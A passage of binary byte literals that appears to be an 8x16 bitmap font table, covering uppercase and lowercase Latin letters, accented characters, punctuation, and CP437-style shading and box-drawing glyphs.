0b01000010,
0b01000010,
0b01111110,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b01111100,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b10000100,
0b01001000,
0b00110000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000100,
0b01001000,
0b01010000,
0b01010000,
0b01100000,
0b01010000,
0b01010000,
0b01001000,
0b01000100,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b11110000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000010,
0b01000010,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b11000011,
0b01000010,
0b01100110,
0b01100110,
0b01100110,
0b01011010,
0b01011010,
0b01011010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b11000111,
0b01000010,
0b01100010,
0b01100010,
0b01010010,
0b01010010,
0b01010010,
0b01001010,
0b01001010,
0b01001010,
0b01000110,
0b01000110,
0b11100010,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b11111000,
0b01000100,
0b01000010,
0b01000010,
0b01000010,
0b01000100,
0b01111000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b11110000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10010010,
0b10001010,
0b01000100,
0b00111010,
0b00000000,
0b00000000,
0b00000000,
0b11111100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01111100,
0b01000100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b00111010,
0b01000110,
0b10000010,
0b10000010,
0b10000000,
0b01000000,
0b00111000,
0b00000100,
0b00000010,
0b10000010,
0b10000010,
0b11000100,
0b10111000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b10010010,
0b10010010,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00111100,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00100100,
0b00100100,
0b00100100,
0b00011000,
0b00011000,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01000010,
0b01011010,
0b01011010,
0b01011010,
0b01011010,
0b00100100,
0b00100100,
0b00100100,
0b00100100,
0b00100100,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b00100100,
0b00100100,
0b00100100,
0b00011000,
0b00100100,
0b00100100,
0b00100100,
0b01000010,
0b01000010,
0b11100111,
0b00000000,
0b00000000,
0b00000000,
0b11101110,
0b01000100,
0b01000100,
0b01000100,
0b00101000,
0b00101000,
0b00101000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b10000100,
0b10000100,
0b00001000,
0b00001000,
0b00010000,
0b00010000,
0b00100000,
0b00100000,
0b01000000,
0b01000010,
0b10000010,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00111110,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00100000,
0b00111110,
0b00000000,
0b10000000,
0b10000000,
0b01000000,
0b01000000,
0b00100000,
0b00100000,
0b00100000,
0b00010000,
0b00010000,
0b00001000,
0b00001000,
0b00000100,
0b00000100,
0b00000100,
0b00000010,
0b00000010,
0b00000000,
0b01111100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b01111100,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b10000010,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01110000,
0b00001000,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b10001100,
0b01110110,
0b00000000,
0b00000000,
0b11000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01011000,
0b01100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01100100,
0b01011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00110000,
0b01001100,
0b10000100,
0b10000100,
0b10000000,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00001100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00110100,
0b01001100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b01001100,
0b00110110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b11111100,
0b10000000,
0b10000010,
0b01000010,
0b00111100,
0b00000000,
0b00000000,
0b00001110,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00110110,
0b01001100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b01001100,
0b00110100,
0b00000100,
0b00000100,
0b01111000,
0b11000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01011000,
0b01100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b11100011,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000100,
0b00000100,
0b00000000,
0b00000000,
0b00001100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00000100,
0b00001000,
0b00001000,
0b00110000,
0b11000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01001110,
0b01000100,
0b01001000,
0b01010000,
0b01100000,
0b01010000,
0b01001000,
0b01000100,
0b11100110,
0b00000000,
0b00000000,
0b00110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11110110,
0b01001001,
0b01001001,
0b01001001,
0b01001001,
0b01001001,
0b01001001,
0b01001001,
0b11011011,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11011000,
0b01100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b11100011,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11011000,
0b01100100,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01100100,
0b01011000,
0b01000000,
0b11100000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00110100,
0b01001100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b01001100,
0b00110100,
0b00000100,
0b00001110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11011100,
0b01100010,
0b01000010,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b01000000,
0b11100000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01111010,
0b10000110,
0b10000010,
0b11000000,
0b00111000,
0b00000110,
0b10000010,
0b11000010,
0b10111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b01111100,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00001110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11000110,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000010,
0b01000110,
0b00111011,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01000010,
0b00100100,
0b00100100,
0b00100100,
0b00011000,
0b00011000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b01011010,
0b01011010,
0b01011010,
0b00100100,
0b00100100,
0b00100100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11000110,
0b01000100,
0b00101000,
0b00101000,
0b00010000,
0b00101000,
0b00101000,
0b01000100,
0b11000110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11100111,
0b01000010,
0b01000010,
0b00100100,
0b00100100,
0b00100100,
0b00011000,
0b00011000,
0b00010000,
0b00010000,
0b01100000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b10000010,
0b10000100,
0b00001000,
0b00010000,
0b00100000,
0b01000010,
0b10000010,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000110,
0b00001000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b01100000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00001000,
0b00000110,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b01100000,
0b00010000,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00000110,
0b00001000,
0b00001000,
0b00001000,
0b00001000,
0b00010000,
0b01100000,
0b00000000,
0b00000000,
0b00000000,
0b01110010,
0b10001100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b10000010,
0b11111110,
0b10000010,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00010000,
0b00100000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000010,
0b00111110,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b11111110,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00011000,
0b00100100,
0b00011000,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111100,
0b01000010,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b01000010,
0b00111100,
0b00001000,
0b00010000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b11111110,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b11111110,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b11111110,
0b10000000,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b11111110,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b11111110,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b11111110,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b11111000,
0b10000000,
0b10000000,
0b10000000,
0b10000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01100000,
0b00011100,
0b00010010,
0b01110010,
0b10011110,
0b10010000,
0b10010000,
0b10010010,
0b01101100,
0b00000000,
0b00000000,
0b00001100,
0b00010000,
0b00100000,
0b00101000,
0b00101000,
0b00101000,
0b11111110,
0b00101000,
0b00101000,
0b00101000,
0b00101000,
0b00101000,
0b00101000,
0b00101000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00101000,
0b01000100,
0b00000000,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000010,
0b00111110,
0b00000000,
0b00000000,
0b00010000,
0b00001000,
0b00000100,
0b00000000,
0b00000000,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000010,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b10000010,
0b10000010,
0b01000100,
0b01000100,
0b00101000,
0b00101000,
0b00010000,
0b00010000,
0b00100000,
0b00100000,
0b01000000,
0b00100100,
0b00100100,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00100100,
0b00100100,
0b00000000,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00101000,
0b00101000,
0b00101000,
0b00111100,
0b01101010,
0b10101000,
0b10101000,
0b10101000,
0b10101000,
0b10101000,
0b01101010,
0b00111100,
0b00101000,
0b00101000,
0b00101000,
0b00000000,
0b00001100,
0b00010010,
0b00100000,
0b00100000,
0b00100000,
0b11111100,
0b00100000,
0b00100000,
0b00100000,
0b01100000,
0b10100000,
0b10110010,
0b01001100,
0b00000000,
0b00000000,
0b00000000,
0b10000010,
0b10000010,
0b01000100,
0b00101000,
0b00010000,
0b11111110,
0b00010000,
0b00010000,
0b11111110,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b11100000,
0b10010000,
0b10001000,
0b10001000,
0b10001000,
0b10010100,
0b11100100,
0b10011111,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b10000100,
0b00000000,
0b00000000,
0b00000000,
0b00001100,
0b00010010,
0b00010000,
0b00010000,
0b00010000,
0b11111110,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b10010000,
0b01100000,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00001100,
0b00001000,
0b00010000,
0b00000000,
0b00000000,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000010,
0b00111110,
0b00000000,
0b00000000,
0b00000000,
0b00010010,
0b00101010,
0b00100100,
0b00000000,
0b11111000,
0b10000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b00000000,
0b00000000,
0b00010010,
0b00101010,
0b00100100,
0b00000000,
0b10000010,
0b11000010,
0b11000010,
0b10100010,
0b10010010,
0b10010010,
0b10001010,
0b10000110,
0b10000110,
0b10000010,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b01111000,
0b00000100,
0b00000100,
0b00111100,
0b01000100,
0b10000100,
0b10000100,
0b01000100,
0b00111110,
0b00000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00111000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b11111110,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00100000,
0b01000100,
0b10000010,
0b10000010,
0b10000010,
0b01000100,
0b00111000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b10000000,
0b10000000,
0b10000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111110,
0b00000010,
0b00000010,
0b00000010,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00110000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b11111110,
0b00000000,
0b01111000,
0b00000100,
0b00111000,
0b01000000,
0b01111100,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00110000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b11111110,
0b00000000,
0b00011000,
0b00101000,
0b01001000,
0b01111100,
0b00001000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010010,
0b00100100,
0b01001000,
0b10010000,
0b10010000,
0b01001000,
0b00100100,
0b00010010,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b10010000,
0b01001000,
0b00100100,
0b00010010,
0b00010010,
0b00100100,
0b01001000,
0b10010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b00010001,
0b01000100,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01010101,
0b10101010,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b01110111,
0b11011101,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11110000,
0b00010000,
0b11110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11110000,
0b00010000,
0b11110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110100,
0b00000100,
0b11110100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111100,
0b00000100,
0b11110100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110100,
0b00000100,
0b11111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11111100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11110000,
0b00010000,
0b11110000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11110000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00011111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00011111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11111111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00011111,
0b00010000,
0b00011111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010111,
0b00010000,
0b00011111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00010000,
0b00010111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110111,
0b00000000,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00000000,
0b11110111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010111,
0b00010000,
0b00010111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00000000,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010100,
0b00010100,
0b00010100,
